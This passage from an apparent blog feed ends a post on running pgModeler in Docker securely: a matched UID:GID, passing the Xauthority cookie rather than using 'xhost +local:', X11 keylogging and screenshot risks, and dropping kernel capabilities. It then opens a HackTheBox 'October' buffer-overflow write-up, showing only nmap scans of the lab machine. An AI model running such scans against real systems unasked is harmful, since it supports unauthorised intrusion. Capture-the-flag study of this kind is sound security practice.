&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["/app/pgmodeler"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's talk about the 1000:1000 UID:GID.&lt;/p&gt;

&lt;p&gt;I want the non-privileged user to be able to write files to a mounted volume at &lt;code&gt;/app/savedwork&lt;/code&gt; inside the container. This will allow for project file persistence between invocations of the container, allowing us to save work to a directory on the host file system. To do this, &lt;strong&gt;the container user must have the same UID and GID as the host user who owns the directory on the host&lt;/strong&gt;. What do I mean? Let's look at the &lt;code&gt;Documents&lt;/code&gt; folder on my host file system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--p-z3zjLf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/documents-uid-gid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--p-z3zjLf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/documents-uid-gid.png" alt="documents host"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;My host's username and group is &lt;code&gt;artis3n&lt;/code&gt; and I can see with the &lt;code&gt;id&lt;/code&gt; command that my user ID (UID) and group ID (GID) are both &lt;code&gt;1000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eMzIkPpx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/artis3n-id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eMzIkPpx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/artis3n-id.png" alt="artis3n id"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These days on Linux systems, new users are created starting at id 1000. This default is defined in &lt;code&gt;/etc/login.defs&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rqCFwuJW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/uid-gid-mins.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rqCFwuJW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/uid-gid-mins.png" alt="login defs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This means it is extremely likely that every end-user of my container will have &lt;code&gt;1000:1000&lt;/code&gt; UID:GID. This matters because when mounting a volume to a Docker container, Docker passes the host file system permissions onto the mounted volume path. So if we mounted &lt;code&gt;~/Documents&lt;/code&gt; on the host to &lt;code&gt;/app/savedwork&lt;/code&gt; inside the container, the &lt;code&gt;savedwork&lt;/code&gt; directory will have permissions &lt;code&gt;0755 1000:1000&lt;/code&gt;. Only the owner, user ID 1000, will have write permissions to the directory. Group and world will only get read and execute.&lt;br&gt;
We could modify the permissions on our host file system to grant world-writable permissions to the directory (&lt;code&gt;0757&lt;/code&gt; or &lt;code&gt;0777&lt;/code&gt;), but that is strongly not recommended. Instead, by ensuring our internal container user's UID matches our host's UID, we can assume the existing &lt;code&gt;1000:1000&lt;/code&gt; ownership of the directory and write files to the volume transparently.&lt;/p&gt;

&lt;p&gt;My base &lt;code&gt;FROM&lt;/code&gt; image is &lt;code&gt;ubuntu:20.04&lt;/code&gt;, so I can check and see that the same &lt;code&gt;1000&lt;/code&gt; default is set as well. We can also see that if I run &lt;code&gt;useradd&lt;/code&gt; and create a user, that user is given &lt;code&gt;1000:1000&lt;/code&gt; UID:GID.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8FqrIo7a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/ubuntu-uids.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8FqrIo7a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/ubuntu-uids.png" alt="ubuntu login defs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, I don't want to rely on that default. I want to be explicit in my container and avoid implicit failures. It is a simple process to explicitly declare what UID and GID you want when creating a new user and group. This is where the &lt;code&gt;-g&lt;/code&gt; and &lt;code&gt;-u&lt;/code&gt; flags come into play in the &lt;code&gt;groupadd&lt;/code&gt; and &lt;code&gt;useradd&lt;/code&gt; commands, respectively.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;RUN &lt;/span&gt;groupadd &lt;span class="nt"&gt;-g&lt;/span&gt; 1000 modeler &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; useradd &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; 1000 &lt;span class="nt"&gt;-g&lt;/span&gt; modeler modeler
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see with &lt;code&gt;-g&lt;/code&gt; and &lt;code&gt;-u&lt;/code&gt; that we explicitly assign the GID and UID for our new user. This ensures that we will always have &lt;code&gt;1000:1000&lt;/code&gt;, matching our user on the real host.&lt;/p&gt;

&lt;h2&gt;
  
  
  What if our host user isn't running the default UID:GID?
&lt;/h2&gt;

&lt;p&gt;What if our host user isn't 1000:1000? Given that we explicitly give &lt;code&gt;modeler&lt;/code&gt; UID and GID of 1000, we will need to keep the container UID as 1000 for modeler to run &lt;code&gt;/app/pgmodeler&lt;/code&gt;. An alternative is to rebuild the container with group/world-writable permissions inside the container to the necessary files for &lt;code&gt;pgmodeler&lt;/code&gt; to run. This is a legitimate path forward and preferred to changing directory or file permissions on the host, but I have not elected to do that in my container at this time. For your container, you may want to consider that.&lt;/p&gt;

&lt;p&gt;Regardless, we can pass in different UID and GID assignments to the Docker user when starting a container. For example, if our host user is UID/GID 1001, we can tell Docker to start the container and add the container user to the 1001 group.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--s3oL8o0K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-gid-change.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--s3oL8o0K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-gid-change.png" alt="docker run gid change"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will allow us to write files to the persistence volume while allowing modeler to still run &lt;code&gt;pgmodeler&lt;/code&gt;. Note that entering the container throws an error because group 1001 doesn't exist inside the container, but we can see with &lt;code&gt;id&lt;/code&gt; that our &lt;code&gt;modeler&lt;/code&gt; user's groups have changed. If group 1001 on the host owns the directory volume mounted to &lt;code&gt;/app/savedwork&lt;/code&gt; and has write permissions, the container will still run and we will be able to save files to our mounted volume.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--896bHQ11--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-gid-change-id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--896bHQ11--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-gid-change-id.png" alt="docker run gid change id"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If I need to change the user's UID, I can do so with &lt;code&gt;-u&lt;/code&gt;.&lt;br&gt;
I can change both the UID and GID (in &lt;code&gt;UID:GID&lt;/code&gt; format) or just the UID. This overwrites the UID or GID for the user in the container as opposed to appending a new group with &lt;code&gt;--group-add&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9iwaxJY---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-uidgid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9iwaxJY---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-uidgid.png" alt="docker run uid gid change"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is it! I have a non-root user running &lt;code&gt;pgmodeler&lt;/code&gt; inside the container and can modify the user inside the container to match requirements on the host to write files for project persistence.&lt;/p&gt;
&lt;h2&gt;
  
  
  Note on Xauthority and UID
&lt;/h2&gt;

&lt;p&gt;When discussing how to modify the container user with &lt;code&gt;-u UID:GID&lt;/code&gt; in the &lt;code&gt;docker run&lt;/code&gt; command, the most important consideration &lt;em&gt;for my project&lt;/em&gt; is the owner of the Xauthority file. We haven't reached this section of the article yet, but this is a file granting a user permission to access the host's X server. We pass this file into the container so the container user must be able to read this file. However, this file is commonly only readable by the host owner.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--IEjgK8g6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/xauthority-file-perms.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--IEjgK8g6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/xauthority-file-perms.png" alt="xauthority file perms"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If an end-user tries to use my container and isn't UID 1000 on their host, they will fail to access their host X server and &lt;code&gt;pgmodeler&lt;/code&gt; will fail to start (because my container will try to read the file as UID 1000). If a user modifies their UID with &lt;code&gt;-u&lt;/code&gt; when starting the container, &lt;code&gt;pgmodeler&lt;/code&gt; will fail to start because UID 1000 owns all the necessary files inside the container.&lt;/p&gt;

&lt;p&gt;The solution is to rebuild the container with world-writable file permissions on the necessary files inside the container for &lt;code&gt;pgmodeler&lt;/code&gt; to run. I have opted not to make those changes at this time until I get a GitHub issue from an end-user hitting this problem. I don't need to over-engineer the container if the issue does not present itself! However, for your graphical containers, this is an important point to keep in mind.&lt;/p&gt;

&lt;p&gt;An alternative but less-recommended solution would be to enable any localhost connection access to your X server with &lt;code&gt;xhost +local:&lt;/code&gt;. This is not recommended and we will shortly explore why that is, but it would allow a user in the container without the host's UID access to the host's X server.&lt;/p&gt;
&lt;h1&gt;
  
  
  Passing the host display to the container
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;X server enters the chat.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We have compiled the graphical application in the image and created the non-root user. We are ready to run the container. It needs access to draw an application on our host's display. Simply running the container results in a &lt;code&gt;could not connect to display&lt;/code&gt; error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eAm0bslA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/run-core-dump.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eAm0bslA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/run-core-dump.png" alt="core dump"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How do we grant access to the display? This is done by granting the container access to the host's &lt;a href="https://www.x.org/releases/X11R7.7/doc/man/man1/Xserver.1.xhtml"&gt;X server&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;An X server is a program in the X Window System that runs on local machines (i.e., the computers used directly by users)&lt;br&gt;
and handles all access to the graphics cards, display screens and input devices (typically a keyboard and mouse) on those computers.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;- &lt;a href="http://www.linfo.org/x_server.html"&gt;&lt;/a&gt;&lt;a href="http://www.linfo.org/x_server.html"&gt;http://www.linfo.org/x_server.html&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Passing access to your display into the Docker container requires mounting either 1 or 2 volumes in read-only format. &lt;code&gt;-v&lt;/code&gt; is a standard way of doing this, although &lt;code&gt;--mount&lt;/code&gt; is now the Docker-recommended approach for passing in a volume. You include either flag during a &lt;code&gt;docker run&lt;/code&gt; invocation. The syntax for &lt;code&gt;-v&lt;/code&gt; is very particular and is one of the reasons why Docker recommends the more verbose (albeit initially confusing) &lt;code&gt;--mount&lt;/code&gt; syntax. I still find &lt;code&gt;-v&lt;/code&gt; simpler, perhaps because I am already familiar with the syntax. &lt;code&gt;-v&lt;/code&gt; is constructed of 3 parts separated by colons (&lt;code&gt;:&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-v&lt;/span&gt; /path/on/host/:/path/on/container:optionalOptions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example, we use &lt;code&gt;-v /tmp/.X11-unix:/tmp/.X11-unix:ro&lt;/code&gt; to pass the X server socket into the Docker container. &lt;code&gt;/tmp/.X11-unix&lt;/code&gt; is the Unix domain socket path for the X server socket on Linux and OSX systems. The GUI app needs access to this socket to draw the app on the screen.&lt;/p&gt;

&lt;p&gt;However, passing this volume to the container is still not sufficient. We again get a &lt;code&gt;could not connect to display&lt;/code&gt; error and a core dump.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9lXkXel2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-only-x11-socket.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9lXkXel2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-only-x11-socket.png" alt="docker run x11 core dump"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is because of X server's access control. This access control is governed by two methods: &lt;code&gt;xhost&lt;/code&gt; and &lt;code&gt;xauth&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;xhost&lt;/code&gt; sets global policy rules for the X server. For example, we can run &lt;code&gt;xhost +local:&lt;/code&gt; to allow any localhost connection access to our host's X server. &lt;strong&gt;This is not recommended.&lt;/strong&gt; However, this would work in getting our container running. We can see that passing in our &lt;code&gt;$DISPLAY&lt;/code&gt; with &lt;code&gt;-e DISPLAY&lt;/code&gt; and allowing local connections with &lt;code&gt;xhost&lt;/code&gt; enables the application to run.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zZulHzRL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-xhost.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zZulHzRL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-xhost.png" alt="docker run xhost"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;xhost&lt;/code&gt; allows us to add or delete hostnames or usernames to the allowlist of &lt;em&gt;things&lt;/em&gt; allowed to make connections to the X server. The smallest access we can grant is localhost access from the host user (in my case, &lt;code&gt;artis3n&lt;/code&gt;). However, this grants access to &lt;em&gt;any&lt;/em&gt; process running locally. There is no way to restrict access with &lt;code&gt;xhost&lt;/code&gt; to just the single process (the pgmodeler Docker container).&lt;/p&gt;

&lt;p&gt;This is where &lt;code&gt;xauth&lt;/code&gt; comes in. &lt;code&gt;xauth&lt;/code&gt; grants what we'll &lt;em&gt;charitably&lt;/em&gt; call authentication for the X server. &lt;code&gt;xauth&lt;/code&gt; enables a so-called "magic cookie" that you can share between hosts and processes. When the container wants access to the display, it presents this magic cookie to the X server and is granted access. This allows us to grant access to &lt;em&gt;just&lt;/em&gt; our Docker container. Any other process running locally is still restricted from accessing the X server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;xauth&lt;/code&gt; is running by default on any system with an X server. To grant our container access to the magic cookie, we need to find where our system has written the file and then pass in that file to the Unix default location: &lt;code&gt;$HOME/.Xauthority&lt;/code&gt;. In our case, that would be &lt;code&gt;/home/modeler/.Xauthority&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We can discover the location of our &lt;code&gt;.Xauthority&lt;/code&gt; file with the command &lt;code&gt;xauth info&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rnAwDSxV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/xauth-info.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rnAwDSxV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/xauth-info.png" alt="xauth info"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can use the following command to extract the absolute path of our &lt;code&gt;.Xauthority&lt;/code&gt; file on any system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;XAUTHORITY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;xauth info | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Authority file"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{ print $3 }'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we pass in that volume to the container (read-only, &lt;code&gt;:ro&lt;/code&gt;) and see that the container can display the GUI without needing to disable &lt;code&gt;xhost&lt;/code&gt; controls.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ofpHMKio--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-xauth-cookie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ofpHMKio--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/pgmodeler/docker-run-xauth-cookie.png" alt="docker run xauth"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  A note about X11 risks
&lt;/h1&gt;

&lt;p&gt;In the above examples, the container will have full access to the host's X server, either by disabling restrictions with &lt;code&gt;xhost&lt;/code&gt; or by granting access through the &lt;code&gt;xauth&lt;/code&gt; cookie. What is the risk? Well, for one, the X server must have access to draw on our screen because it creates the graphical application. This means that a malicious application running in the container (having been granted X server access) can take a screenshot of our screen whenever it wants.&lt;/p&gt;

&lt;p&gt;But, wait, that's not all! The X server also has access to the clipboard and input devices such as the keyboard and mouse because it needs to know how to translate movement, typing, and copy+paste actions from the host to the GUI app. So, if I run a third-party product inside my container (such as PgModeler), passing in the X11 socket can give that code the ability to log my keystrokes, manipulate my mouse movements, and read data copied into my clipboard. &lt;a href="https://nicroland.wordpress.com/2016/02/27/docker-security-risks-guis-xorg/"&gt;This article&lt;/a&gt; presents some proof-of-concept exploits hijacking an X11 socket for nefarious ends inside a Docker image. In particular, the "enable caps lock every 20 minutes" example would drive me crazy.&lt;/p&gt;

&lt;p&gt;X11 wasn't designed for security, so &lt;strong&gt;there is no way to restrict these capabilities &lt;em&gt;if you grant something access&lt;/em&gt; to your X server&lt;/strong&gt;. The best we can do is limit the number of things that can access the X server. This means leaving &lt;code&gt;xhost&lt;/code&gt; alone and passing the &lt;code&gt;xauth&lt;/code&gt; cookie to a container whose code you trust. Don't pass the X server socket into a random 3rd party container you have not audited!&lt;/p&gt;

&lt;h1&gt;
  
  
  To cap-drop or not to cap-drop
&lt;/h1&gt;

&lt;p&gt;The final modification I will make to my &lt;code&gt;docker run&lt;/code&gt; command is to drop all Linux kernel capabilities. As documented in &lt;a href="https://docs.docker.com/engine/security/security/#linux-kernel-capabilities"&gt;Docker's security section&lt;/a&gt;, Docker grants a container a restricted set of kernel capabilities.&lt;br&gt;
These defaults are typically fine to leave as-is. In a security-sensitive production container, however, it is worth dropping all kernel capabilities and seeing if the container still works without issue. And if the container does break, incrementally adding single capabilities until the necessary one has been identified.&lt;/p&gt;

&lt;p&gt;For my PgModeler container use case, I can leave the default capabilities alone. However, my container also runs PgModeler fine after removing all kernel capabilities. So, let's do that! &lt;code&gt;--cap-add&lt;/code&gt; is used to add individual kernel capabilities to the Docker container. &lt;code&gt;--cap-drop&lt;/code&gt; is used to drop individual capabilities. To drop all of them, we can use &lt;code&gt;--cap-drop=all&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;
  
  
  Wrap-up
&lt;/h1&gt;

&lt;p&gt;The final Docker command to run the image becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;XAUTHORITY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;xauth info | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Authority file"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{ print $3 }'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;--cap-drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;all &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; DISPLAY &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /tmp/.X11-unix:/tmp/.X11-unix:ro &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;$XAUTHORITY&lt;/span&gt;:/home/modeler/.Xauthority:ro &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-v&lt;/span&gt; /persistent/local/directory/for/project:/app/savedwork &lt;span class="se"&gt;\&lt;/span&gt;
    ghcr.io/artis3n/pgmodeler:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hopefully, you now understand every option being set here. The final volume mapping to &lt;code&gt;/app/savedwork&lt;/code&gt; in the container is used for project persistence. We can save files in PgModeler to the &lt;code&gt;/app/savedwork&lt;/code&gt; directory and they will be written to the host file system at whatever path the end-user chooses to mount.&lt;/p&gt;

&lt;p&gt;If you are hesitant to allow X server access to a container, an interesting project to explore is &lt;a href="https://github.com/mviereck/x11docker"&gt;x11docker&lt;/a&gt;. The gist of that project is to run a second X server with its own authentication cookies. Docker containers get access to the new X server and are segregated from display :0 on the host. This would prevent them from accessing your main display, although I am not sure how it affects the keyboard, mouse, and clipboard. Head over to that project and ask!&lt;/p&gt;

&lt;p&gt;You can view all the code for my PgModeler container at the repository: &lt;a href="https://github.com/artis3n/pgmodeler-container"&gt;https://github.com/artis3n/pgmodeler-container&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you need a Postgres schema visualization tool, try PgModeler through my container, either from the GitHub Container Registry or from Docker Hub!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull ghcr.io/artis3n/pgmodeler:latest
docker pull artis3n/pgmodeler:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>docker</category>
      <category>security</category>
    </item>
    <item>
      <title>Buffer Overflow ASLR Bypass on HackTheBox October - with Metasploit</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Sun, 23 Aug 2020 05:01:25 +0000</pubDate>
      <link>https://forem.com/artis3n/buffer-overflow-aslr-bypass-on-hackthebox-october-with-metasploit-cg9</link>
      <guid>https://forem.com/artis3n/buffer-overflow-aslr-bypass-on-hackthebox-october-with-metasploit-cg9</guid>
      <description>&lt;p&gt;This series will follow my exercises in &lt;a href="https://www.hackthebox.eu"&gt;HackTheBox&lt;/a&gt;. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.&lt;/p&gt;

&lt;h1&gt;
  
  
  October
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;Difficulty: Medium&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;Machine IP: 10.10.10.16&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The port scan identifies a web server as the sole vector.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.10.10.16

Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-28 11:14 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.16
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.017s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;97.13 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80 10.10.10.16

Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-28 11:20 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.16
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.020s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 &lt;span class="o"&gt;(&lt;/span&gt;DSA&lt;span class="o"&gt;)&lt;/span&gt;
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd 2.4.7 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
